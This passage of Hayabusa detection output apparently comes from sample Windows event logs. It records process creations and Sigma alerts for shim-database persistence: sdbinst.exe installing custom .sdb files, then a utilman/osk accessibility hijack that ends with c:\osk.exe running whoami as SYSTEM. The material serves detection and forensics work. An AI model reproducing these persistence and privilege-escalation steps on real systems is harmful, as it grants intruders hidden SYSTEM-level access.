C:\Windows\System32\calc.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.406 +09:00,PC01.example.corp,1,high,Suspicious SYSTEM User Process Creation,,rules/sigma/process_creation/win_susp_system_user_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.436 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wlms\wlms.exe : Path: C:\Windows\System32\wlms\wlms.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:16.626 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\wbem\unsecapp.exe -Embedding : Path: C:\Windows\System32\wbem\unsecapp.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:17.026 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\UI0Detect.exe : Path: C:\Windows\System32\UI0Detect.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:41:22.404 +09:00,PC01.example.corp,1,informational,Process Creation,Command: taskhost.exe SYSTEM : Path: C:\Windows\System32\taskhost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.148 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""taskhost.exe"" : Path: C:\Windows\System32\taskhost.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.329 +09:00,PC01.example.corp,1,informational,Process Creation,Command: atbroker.exe : Path: C:\Windows\System32\AtBroker.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.419 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\slui.exe"" : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:00.489 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\System32\slui.exe -Embedding : Path: C:\Windows\System32\slui.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.392 +09:00,PC01.example.corp,1,informational,Process Creation,Command: gpscript.exe /Logon : Path: C:\Windows\System32\gpscript.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\svchost.exe -k GPSvcGroup,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.432 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\system32\userinit.exe : Path: C:\Windows\System32\userinit.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:37.602 +09:00,PC01.example.corp,1,informational,Process Creation,Command: C:\Windows\Explorer.EXE : Path: C:\Windows\explorer.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\userinit.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.654 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key"" : Path: C:\Windows\System32\cmd.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.704 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\PSEXESVC.exe"" : Path: C:\Windows\PSEXESVC.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:42:38.774 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: msg * ""hello from run key"" : Path: C:\Windows\System32\msg.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Windows\System32\cmd.exe"" /c msg * ""hello from run key""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:43:24.560 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Windows Media Player\wmpnetwk.exe"" : Path: C:\Program Files\Windows Media Player\wmpnetwk.exe : User: NT AUTHORITY\NETWORK SERVICE : Parent Command: C:\Windows\system32\services.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:46:04.916 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:46:20.518 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" : Path: C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.439 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.439 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.559 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.860 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.870 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.870 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:33.920 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:48:36.644 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.787 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.787 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.967 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:27.988 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:28.158 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:31.212 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.792 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.792 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.972 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:44.982 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.152 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.162 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:45.162 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:49:47.245 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:51:05.017 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:25.933 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:25.933 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.104 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.114 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.274 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.364 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:26.364 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:29.138 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.124 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.124 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.294 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.334 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: EXAMPLE\user01 : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q -u ""C:\Windows\AppPatch\Test.SDB "" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:47.474 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:52:50.268 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: EXAMPLE\user01 : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:56:05.149 +09:00,PC01.example.corp,1,informational,Process Creation,Command: UI0Detect.exe 224 : Path: C:\Windows\System32\UI0Detect.exe : User: EXAMPLE\user01 : Parent Command: C:\Windows\system32\UI0Detect.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:20.994 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""C:\Windows\system32\sdbinst.exe"" -q ""C:\Users\user01\Desktop\titi.sdb"" : Path: C:\Windows\System32\sdbinst.exe : User: EXAMPLE\user01 : Parent Command: ""C:\Program Files\Microsoft Application Compatibility Toolkit\Compatibility Administrator (32-bit)\Compatadmin.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:20.994 +09:00,PC01.example.corp,1,high,Possible Shim Database Persistence via sdbinst.exe,,rules/sigma/process_creation/win_sdbinst_shim_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.214 +09:00,PC01.example.corp,1,informational,Process Creation,Command: \SystemRoot\System32\smss.exe 00000000 0000003c : Path: C:\Windows\System32\smss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.294 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: %%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16 : Path: C:\Windows\System32\csrss.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.304 +09:00,PC01.example.corp,1,informational,Process Creation,Command: winlogon.exe : Path: C:\Windows\System32\winlogon.exe : User: NT AUTHORITY\SYSTEM : Parent Command: \SystemRoot\System32\smss.exe 00000000 0000003c ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:28.815 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""LogonUI.exe"" /flags:0x0 : Path: C:\Windows\System32\LogonUI.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:31.860 +09:00,PC01.example.corp,1,informational,Process Creation,Command: utilman.exe /debug : Path: C:\Windows\System32\Utilman.exe : User: NT AUTHORITY\SYSTEM : Parent Command: winlogon.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:35.745 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: ""c:\osk.exe"" : Path: C:\osk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_sysmon_11_13_1_shime_appfix.evtx +2019-03-20 05:58:44.237 +09:00,PC01.example.corp,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""c:\osk.exe"" 